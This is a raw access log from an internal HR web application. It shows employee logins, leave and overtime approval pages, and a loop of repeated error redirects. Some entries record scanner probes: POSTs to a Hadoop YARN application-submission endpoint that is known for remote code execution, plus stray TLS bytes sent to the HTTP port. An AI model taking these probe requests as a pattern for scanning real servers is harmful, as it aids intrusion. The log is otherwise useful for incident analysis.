/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:12:34:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 100.64.0.1 - - [05/Dec/2025:12:34:45 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:12:35:03 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Iron Safari/537.36" 100.64.0.1 - - [05/Dec/2025:12:35:03 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:12:47:47 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:12:47:47 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [05/Dec/2025:12:50:10 +0800] "\x03" 501 203 100.64.0.1 - - [05/Dec/2025:12:50:10 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [05/Dec/2025:12:58:48 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:12:58:48 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:12:58:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.64.1" 100.64.0.1 - - [05/Dec/2025:12:58:58 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:12:59:05 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:12:59:05 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:12:59:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:12:59:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:13:03:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:13:03:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 192.168.40.34 - - [05/Dec/2025:13:04:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:13:04:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:13:04:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:13:04:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:13:04:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:13:04:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [05/Dec/2025:13:04:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:13:04:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.153 - - [05/Dec/2025:13:06:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:06:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 192.168.11.153 - - [05/Dec/2025:13:06:59 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:06:59 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:06:59 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:06:59 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.153 - - [05/Dec/2025:13:07:00 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:00 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.153 - - [05/Dec/2025:13:07:04 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12245 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:04 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12245 192.168.11.153 - - [05/Dec/2025:13:07:10 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4139 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:10 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4139 192.168.11.153 - - [05/Dec/2025:13:07:13 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:13 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.11.52 - - [05/Dec/2025:13:07:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:07:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.153 - - [05/Dec/2025:13:07:17 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34080 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:17 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34080 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132750%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132750&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132750%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132750&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:33 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 